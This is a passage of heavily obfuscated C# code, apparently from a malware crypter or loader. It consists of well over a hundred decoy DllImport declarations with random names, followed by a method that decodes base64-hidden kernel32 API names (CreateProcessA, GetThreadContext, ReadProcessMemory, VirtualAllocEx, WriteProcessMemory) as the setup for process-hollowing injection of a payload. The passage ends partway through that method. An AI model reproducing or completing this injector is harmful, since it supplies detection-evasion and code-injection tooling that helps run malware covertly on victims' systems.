  public static extern byte[] voCMu([MarshalAs(UnmanagedType.VBByRefStr)] ref string eGbFe, string[] uGusn, char FCZHS);

  [DllImport("TUfDl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZThzA([MarshalAs(UnmanagedType.VBByRefStr)] ref string NeIPi, string[] rgMHH, char GMvpv);

  [DllImport("ICbDi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cCoDG([MarshalAs(UnmanagedType.VBByRefStr)] ref string RODVN, string[] ERdML, char zlMht);

  [DllImport("VMIDU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IqHtz([MarshalAs(UnmanagedType.VBByRefStr)] ref string RpLlp, string[] mzBPm, char nuFBe);

  [DllImport("iOZZV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sMgAt([MarshalAs(UnmanagedType.VBByRefStr)] ref string dNFNr, string[] EESVb, char RqFAi);

  [DllImport("isOcO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QSoPT([MarshalAs(UnmanagedType.VBByRefStr)] ref string Bdzvb, string[] GZLOo, char ObSni);

  [DllImport("BQgCp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FcBso([MarshalAs(UnmanagedType.VBByRefStr)] ref string zUQtv, string[] dvCLA, char fppos);

  [DllImport("Tloqi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PUeHT([MarshalAs(UnmanagedType.VBByRefStr)] ref string GUPAh, string[] lEgmA, char ufrQQ);

  [DllImport("pNfEf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sCNqI([MarshalAs(UnmanagedType.VBByRefStr)] ref string qlCmH, string[] rDHEQ, char hvEFO);

  [DllImport("ARcPu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nhLNs([MarshalAs(UnmanagedType.VBByRefStr)] ref string rrqug, string[] ntLml, char BqsmL);

  [DllImport("GvoCM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nRPzn([MarshalAs(UnmanagedType.VBByRefStr)] ref string uthhI, string[] QeGbF, char euGus);

  [DllImport("SZThz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nFCZH([MarshalAs(UnmanagedType.VBByRefStr)] ref string ATUfD, string[] lNeIP, char irgMH);

  [DllImport("vcCoD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HGMvp([MarshalAs(UnmanagedType.VBByRefStr)] ref string GICbD, string[] iRODV, char NERdM);

  [DllImport("tIqHt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LzlMh([MarshalAs(UnmanagedType.VBByRefStr)] ref string zVMID, string[] URpLl, char pmzBP);

  [DllImport("esMgA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mnuFB([MarshalAs(UnmanagedType.VBByRefStr)] ref string tiOZZ, string[] VdNFN, char rEESV);

  [DllImport("iQSoP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bRqFA([MarshalAs(UnmanagedType.VBByRefStr)] ref string TisOc, string[] OBdzv, char bGZLO);

  [DllImport("iFcBs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oObSn([MarshalAs(UnmanagedType.VBByRefStr)] ref string oBQgC, string[] pzUQt, char vdvCL);

  [DllImport("sPUeH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Afppo([MarshalAs(UnmanagedType.VBByRefStr)] ref string TTloq, string[] iGUPA, char hlEgm);

  [DllImport("QsCNq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AufrQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string IpNfE, string[] fqlCm, char HrDHE);

  [DllImport("OnhLN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QhvEF([MarshalAs(UnmanagedType.VBByRefStr)] ref string sARcP, string[] urrqu, char gntLm);

  [DllImport("LnRPz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lBqsm([MarshalAs(UnmanagedType.VBByRefStr)] ref string nGvoC, string[] Muthh, char IQeGb);

  [DllImport("snFCZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FeuGu([MarshalAs(UnmanagedType.VBByRefStr)] ref string HSZTh, string[] zATUf, char DlNeI);

  [DllImport("HHGMv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PirgM([MarshalAs(UnmanagedType.VBByRefStr)] ref string pvcCo, string[] DGICb, char DiROD);

  [DllImport("MLzlM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VNERd([MarshalAs(UnmanagedType.VBByRefStr)] ref string htIqH, string[] tzVMI, char DURpL);

  [DllImport("PmnuF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lpmzB([MarshalAs(UnmanagedType.VBByRefStr)] ref string BesMg, string[] AtiOZ, char ZVdNF);

  [DllImport("VbRqF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NrEES([MarshalAs(UnmanagedType.VBByRefStr)] ref string AiQSo, string[] PTisO, char cOBdz);

  [DllImport("OoObS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vbGZL([MarshalAs(UnmanagedType.VBByRefStr)] ref string niFcB, string[] soBQg, char CpzUQ);

  [DllImport("LAfpp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tvdvC([MarshalAs(UnmanagedType.VBByRefStr)] ref string osPUe, string[] HTTlo, char qiGUP);

  [DllImport("mAufr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AhlEg([MarshalAs(UnmanagedType.VBByRefStr)] ref string QQsCN, string[] qIpNf, char EfqlC);

  [DllImport("EQhvE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mHrDH([MarshalAs(UnmanagedType.VBByRefStr)] ref string FOnhL, string[] NsARc, char Purrq);

  [DllImport("mlBqs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ugntL([MarshalAs(UnmanagedType.VBByRefStr)] ref string mLnRP, string[] znGvo, char CMuth);

  [DllImport("bFeuG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hIQeG([MarshalAs(UnmanagedType.VBByRefStr)] ref string usnFC, string[] ZHSZT, char hzATU);

  [DllImport("IPirg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fDlNe([MarshalAs(UnmanagedType.VBByRefStr)] ref string MHHGM, string[] vpvcC, char oDGIC);

  [DllImport("DVNER.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bDiRO([MarshalAs(UnmanagedType.VBByRefStr)] ref string dMLzl, string[] MhtIq, char HtzVM);

  [DllImport("Llpmz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IDURp([MarshalAs(UnmanagedType.VBByRefStr)] ref string BPmnu, string[] FBesM, char gAtiO);

  [DllImport("FNrEE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZZVdN([MarshalAs(UnmanagedType.VBByRefStr)] ref string SVbRq, string[] FAiQS, char oPTis);

  [DllImport("zvbGZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OcOBd([MarshalAs(UnmanagedType.VBByRefStr)] ref string LOoOb, string[] SniFc, char BsoBQ);

  [DllImport("Qtvdv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gCpzU([MarshalAs(UnmanagedType.VBByRefStr)] ref string CLAfp, string[] posPU, char eHTTl);

  [DllImport("PAhlE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oqiGU([MarshalAs(UnmanagedType.VBByRefStr)] ref string gmAuf, string[] rQQsC, char NqIpN);

  [DllImport("CmHrD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fEfql([MarshalAs(UnmanagedType.VBByRefStr)] ref string HEQhv, string[] EFOnh, char LNsAR);

  [DllImport("qugnt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cPurr([MarshalAs(UnmanagedType.VBByRefStr)] ref string LmlBq, string[] smLnR, char PznGv);

  [DllImport("hhIQe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oCMut([MarshalAs(UnmanagedType.VBByRefStr)] ref string GbFeu, string[] GusnF, char CZHSZ);

  [DllImport("UfDlN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ThzAT([MarshalAs(UnmanagedType.VBByRefStr)] ref string eIPir, string[] gMHHG, char Mvpvc);

  [DllImport("CbDiR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CoDGI([MarshalAs(UnmanagedType.VBByRefStr)] ref string ODVNE, string[] RdMLz, char lMhtI);

  [DllImport("MIDUR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qHtzV([MarshalAs(UnmanagedType.VBByRefStr)] ref string pLlpm, string[] zBPmn, char uFBes);

  [DllImport("OZZVd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MgAti([MarshalAs(UnmanagedType.VBByRefStr)] ref string NFNrE, string[] ESVbR, char qFAiQ);

  [DllImport("sOcOB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SoPTi([MarshalAs(UnmanagedType.VBByRefStr)] ref string dzvbG, string[] ZLOoO, char bSniF);

  [DllImport("QgCpz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cBsoB([MarshalAs(UnmanagedType.VBByRefStr)] ref string UQtvd, string[] vCLAf, char pposP);

  [DllImport("loqiG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UeHTT([MarshalAs(UnmanagedType.VBByRefStr)] ref string UPAhl, string[] EgmAu, char frQQs);

  [DllImport("NfEfq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CNqIp([MarshalAs(UnmanagedType.VBByRefStr)] ref string lCmHr, string[] DHEQh, char vEFOn);

  [DllImport("RcPur.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hLNsA([MarshalAs(UnmanagedType.VBByRefStr)] ref string rqugn, string[] tLmlB, char qsmLn);

  [DllImport("voCMu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RPznG([MarshalAs(UnmanagedType.VBByRefStr)] ref string thhIQ, string[] eGbFe, char uGusn);

  [DllImport("ZThzA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FCZHS([MarshalAs(UnmanagedType.VBByRefStr)] ref string TUfDl, string[] NeIPi, char rgMHH);

  [DllImport("cCoDG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GMvpv([MarshalAs(UnmanagedType.VBByRefStr)] ref string ICbDi, string[] RODVN, char ERdML);

  [DllImport("IqHtz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zlMht([MarshalAs(UnmanagedType.VBByRefStr)] ref string VMIDU, string[] RpLlp, char mzBPm);

  [DllImport("sMgAt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nuFBe([MarshalAs(UnmanagedType.VBByRefStr)] ref string iOZZV, string[] dNFNr, char EESVb);

  [DllImport("QSoPT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RqFAi([MarshalAs(UnmanagedType.VBByRefStr)] ref string isOcO, string[] Bdzvb, char GZLOo);

  [DllImport("FcBso.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ObSni([MarshalAs(UnmanagedType.VBByRefStr)] ref string BQgCp, string[] zUQtv, char dvCLA);

  [DllImport("PUeHT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fppos([MarshalAs(UnmanagedType.VBByRefStr)] ref string Tloqi, string[] GUPAh, char lEgmA);

  [DllImport("sCNqI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ufrQQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string pNfEf, string[] qlCmH, char rDHEQ);

  [DllImport("nhLNs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hvEFO([MarshalAs(UnmanagedType.VBByRefStr)] ref string ARcPu, string[] rrqug, char ntLml);

  [DllImport("nRPzn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BqsmL([MarshalAs(UnmanagedType.VBByRefStr)] ref string GvoCM, string[] uthhI, char QeGbF);

  [DllImport("nFCZH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] euGus([MarshalAs(UnmanagedType.VBByRefStr)] ref string SZThz, string[] ATUfD, char lNeIP);

  [DllImport("HGMvp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] irgMH([MarshalAs(UnmanagedType.VBByRefStr)] ref string vcCoD, string[] GICbD, char iRODV);

  [DllImport("LzlMh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NERdM([MarshalAs(UnmanagedType.VBByRefStr)] ref string tIqHt, string[] zVMID, char URpLl);

  [DllImport("mnuFB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pmzBP([MarshalAs(UnmanagedType.VBByRefStr)] ref string esMgA, string[] tiOZZ, char VdNFN);

  [DllImport("bRqFA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rEESV([MarshalAs(UnmanagedType.VBByRefStr)] ref string iQSoP, string[] TisOc, char OBdzv);

  [DllImport("oObSn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bGZLO([MarshalAs(UnmanagedType.VBByRefStr)] ref string iFcBs, string[] oBQgC, char pzUQt);

  [DllImport("Afppo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vdvCL([MarshalAs(UnmanagedType.VBByRefStr)] ref string sPUeH, string[] TTloq, char iGUPA);

  [DllImport("AufrQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hlEgm([MarshalAs(UnmanagedType.VBByRefStr)] ref string QsCNq, string[] IpNfE, char fqlCm);

  [DllImport("QhvEF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HrDHE([MarshalAs(UnmanagedType.VBByRefStr)] ref string OnhLN, string[] sARcP, char urrqu);

  [DllImport("lBqsm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gntLm([MarshalAs(UnmanagedType.VBByRefStr)] ref string LnRPz, string[] nGvoC, char Muthh);

  [DllImport("FeuGu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IQeGb([MarshalAs(UnmanagedType.VBByRefStr)] ref string snFCZ, string[] HSZTh, char zATUf);

  [DllImport("PirgM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DlNeI([MarshalAs(UnmanagedType.VBByRefStr)] ref string HHGMv, string[] pvcCo, char DGICb);

  [DllImport("VNERd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DiROD([MarshalAs(UnmanagedType.VBByRefStr)] ref string MLzlM, string[] htIqH, char tzVMI);

  [DllImport("lpmzB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DURpL([MarshalAs(UnmanagedType.VBByRefStr)] ref string PmnuF, string[] BesMg, char AtiOZ);

  [DllImport("NrEES.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZVdNF([MarshalAs(UnmanagedType.VBByRefStr)] ref string VbRqF, string[] AiQSo, char PTisO);

  [DllImport("vbGZL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cOBdz([MarshalAs(UnmanagedType.VBByRefStr)] ref string OoObS, string[] niFcB, char soBQg);

  [DllImport("tvdvC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CpzUQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string LAfpp, string[] osPUe, char HTTlo);

  [DllImport("AhlEg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qiGUP([MarshalAs(UnmanagedType.VBByRefStr)] ref string mAufr, string[] QQsCN, char qIpNf);

  [DllImport("mHrDH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EfqlC([MarshalAs(UnmanagedType.VBByRefStr)] ref string EQhvE, string[] FOnhL, char NsARc);

  [DllImport("ugntL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Purrq([MarshalAs(UnmanagedType.VBByRefStr)] ref string mlBqs, string[] mLnRP, char znGvo);

  [DllImport("hIQeG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CMuth([MarshalAs(UnmanagedType.VBByRefStr)] ref string bFeuG, string[] usnFC, char ZHSZT);

  [DllImport("fDlNe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hzATU([MarshalAs(UnmanagedType.VBByRefStr)] ref string IPirg, string[] MHHGM, char vpvcC);

  [DllImport("bDiRO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oDGIC([MarshalAs(UnmanagedType.VBByRefStr)] ref string DVNER, string[] dMLzl, char MhtIq);

  [DllImport("IDURp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HtzVM([MarshalAs(UnmanagedType.VBByRefStr)] ref string Llpmz, string[] BPmnu, char FBesM);

  [DllImport("ZZVdN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gAtiO([MarshalAs(UnmanagedType.VBByRefStr)] ref string FNrEE, string[] SVbRq, char FAiQS);

  [DllImport("OcOBd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oPTis([MarshalAs(UnmanagedType.VBByRefStr)] ref string zvbGZ, string[] LOoOb, char SniFc);

  [DllImport("gCpzU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BsoBQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string Qtvdv, string[] CLAfp, char posPU);

  [DllImport("oqiGU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eHTTl([MarshalAs(UnmanagedType.VBByRefStr)] ref string PAhlE, string[] gmAuf, char rQQsC);

  [DllImport("fEfql.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NqIpN([MarshalAs(UnmanagedType.VBByRefStr)] ref string CmHrD, string[] HEQhv, char EFOnh);

  [DllImport("cPurr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LNsAR([MarshalAs(UnmanagedType.VBByRefStr)] ref string qugnt, string[] LmlBq, char smLnR);

  [DllImport("oCMut.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PznGv([MarshalAs(UnmanagedType.VBByRefStr)] ref string hhIQe, string[] GbFeu, char GusnF);

  [DllImport("ThzAT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CZHSZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string UfDlN, string[] eIPir, char gMHHG);

  [DllImport("CoDGI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Mvpvc([MarshalAs(UnmanagedType.VBByRefStr)] ref string CbDiR, string[] ODVNE, char RdMLz);

  [DllImport("qHtzV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lMhtI([MarshalAs(UnmanagedType.VBByRefStr)] ref string MIDUR, string[] pLlpm, char zBPmn);

  [DllImport("MgAti.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uFBes([MarshalAs(UnmanagedType.VBByRefStr)] ref string OZZVd, string[] NFNrE, char ESVbR);

  [DllImport("SoPTi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qFAiQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string sOcOB, string[] dzvbG, char ZLOoO);

  [DllImport("cBsoB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bSniF([MarshalAs(UnmanagedType.VBByRefStr)] ref string QgCpz, string[] UQtvd, char vCLAf);

  [DllImport("UeHTT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pposP([MarshalAs(UnmanagedType.VBByRefStr)] ref string loqiG, string[] UPAhl, char EgmAu);

  [DllImport("CNqIp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] frQQs([MarshalAs(UnmanagedType.VBByRefStr)] ref string NfEfq, string[] lCmHr, char DHEQh);

  [DllImport("hLNsA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vEFOn([MarshalAs(UnmanagedType.VBByRefStr)] ref string RcPur, string[] rUcNS, char crRQh);

  [DllImport("zveRo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VbQqS([MarshalAs(UnmanagedType.VBByRefStr)] ref string eTisc, string[] cOOpz, char LnGmI);

  [DllImport("miFpA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] codbS([MarshalAs(UnmanagedType.VBByRefStr)] ref string FCNff, string[] BCMlQ, char tIqvP);

  [DllImport("nreUe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VNsop([MarshalAs(UnmanagedType.VBByRefStr)] ref string HiSlo, string[] qhGlO, char AtiEt);

  [DllImport("fQsOc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mAIrr([MarshalAs(UnmanagedType.VBByRefStr)] ref string pVobf, string[] EsqlC, char AUrPU);

  [DllImport("RdnhL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RehuQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string bsNgb, string[] PuEFD, char HsntZ);

  [DllImport("zVnfP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mlBEG([MarshalAs(UnmanagedType.VBByRefStr)] ref string vATvC, string[] PbtHu, char hHfeF);

  [DllImport("uGBRP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oEquT([MarshalAs(UnmanagedType.VBByRefStr)] ref string nHgZT, string[] gzMhU, char fDzcd);

  [DllImport("MTUSZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Ieiqg([MarshalAs(UnmanagedType.VBByRefStr)] ref string vDLpC, string[] BQTVO, char oDugN);

  [DllImport("dLZzz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PlNRg([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZhtUq, string[] TsLmM, char VQiRp);

  [DllImport("Odlnu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Zipmv([MarshalAs(UnmanagedType.VBByRefStr)] ref string SOrsb, string[] gAGvd, char VZUcN);

  [DllImport("hVbQq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ScrRQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string SzveR, string[] oeTis, char ccOOp);

  [DllImport("Icodb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zLnGm([MarshalAs(UnmanagedType.VBByRefStr)] ref string SmiFp, string[] AFCNf, char fBCMl);

  [DllImport("PVNso.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QtIqv([MarshalAs(UnmanagedType.VBByRefStr)] ref string pnreU, string[] eHiSl, char oqhGl);

  [DllImport("tmAIr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OAtiE([MarshalAs(UnmanagedType.VBByRefStr)] ref string rfQsO, string[] cpVob, char fEsql);

  [DllImport("URehu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CAUrP([MarshalAs(UnmanagedType.VBByRefStr)] ref string QRdnh, string[] LbsNg, char bPuEF);

  [DllImport("ZmlBE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DHsnt([MarshalAs(UnmanagedType.VBByRefStr)] ref string GzVnf, string[] PvATv, char CPbtH);

  [DllImport("FoEqu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uhHfe([MarshalAs(UnmanagedType.VBByRefStr)] ref string TuGBR, string[] PnHgZ, char TgzMh);

  [DllImport("dIeiq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UfDzc([MarshalAs(UnmanagedType.VBByRefStr)] ref string gMTUS, string[] ZvDLp, char CBQTV);

  [DllImport("NPlNR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OoDug([MarshalAs(UnmanagedType.VBByRefStr)] ref string gdLZz, string[] zZhtU, char qTsLm);

  [DllImport("pZipm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MVQiR([MarshalAs(UnmanagedType.VBByRefStr)] ref string vOdln, string[] uSOrs, char bgAGv);

  [DllImport("NScrR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dVZUc([MarshalAs(UnmanagedType.VBByRefStr)] ref string QhVbQ, string[] qSzve, char RoeTi);

  [DllImport("pzLnG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sccOO([MarshalAs(UnmanagedType.VBByRefStr)] ref string mIcod, string[] bSmiF, char pAFCN);

  [DllImport("lQtIq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ffBCM([MarshalAs(UnmanagedType.VBByRefStr)] ref string vPVNs, string[] opnre, char UeHiS);

  [DllImport("lOAti.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] loqhG([MarshalAs(UnmanagedType.VBByRefStr)] ref string EtmAI, string[] rrfQs, char OcpVo);

  [DllImport("lCAUr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bfEsq([MarshalAs(UnmanagedType.VBByRefStr)] ref string PUReh, string[] uQRdn, char hLbsN);

  [DllImport("FDHsn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gbPuE([MarshalAs(UnmanagedType.VBByRefStr)] ref string tZmlB, string[] EGzVn, char fPvAT);

  [DllImport("HuhHf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vCPbt([MarshalAs(UnmanagedType.VBByRefStr)] ref string eFoEq, string[] uTuGB, char RPnHg);

  [DllImport("hUfDz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZTgzM([MarshalAs(UnmanagedType.VBByRefStr)] ref string cdIei, string[] qgMTU, char SZvDL);

  [DllImport("VOoDu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pCBQT([MarshalAs(UnmanagedType.VBByRefStr)] ref string gNPlN, string[] RgdLZ, char zzZht);

  [DllImport("mMVQi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UqTsL([MarshalAs(UnmanagedType.VBByRefStr)] ref string RpZip, string[] mvOdl, char nuSOr);

  public T ffgfuqztvpggssrl<T>(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(nEHKCapiSBDXzFS.GetProcAddress(nEHKCapiSBDXzFS.LoadLibraryA(ref name), ref method), typeof (T));

  public bool PxLkkMUhJcIgxYx(byte[] yopsrcqtdqlvwypcca, string baezjlapzasklvvde)
  {
    nEHKCapiSBDXzFS.onxxwpudohlruqjhkft onxxwpudohlruqjhkft = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.onxxwpudohlruqjhkft>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")));
    nEHKCapiSBDXzFS.jlgapqpsdgrnwuqbe jlgapqpsdgrnwuqbe = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.jlgapqpsdgrnwuqbe>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")));
    nEHKCapiSBDXzFS.tozkgskrcpnbyahypx tozkgskrcpnbyahypx = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.tozkgskrcpnbyahypx>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")));
    nEHKCapiSBDXzFS.lxxeodzlztvaeztdz lxxeodzlztvaeztdz = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.lxxeodzlztvaeztdz>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")));
    nEHKCapiSBDXzFS.bwzqnnwyigagucvs bwzqnnwyigagucvs = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.bwzqnnwyigagucvs>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")));
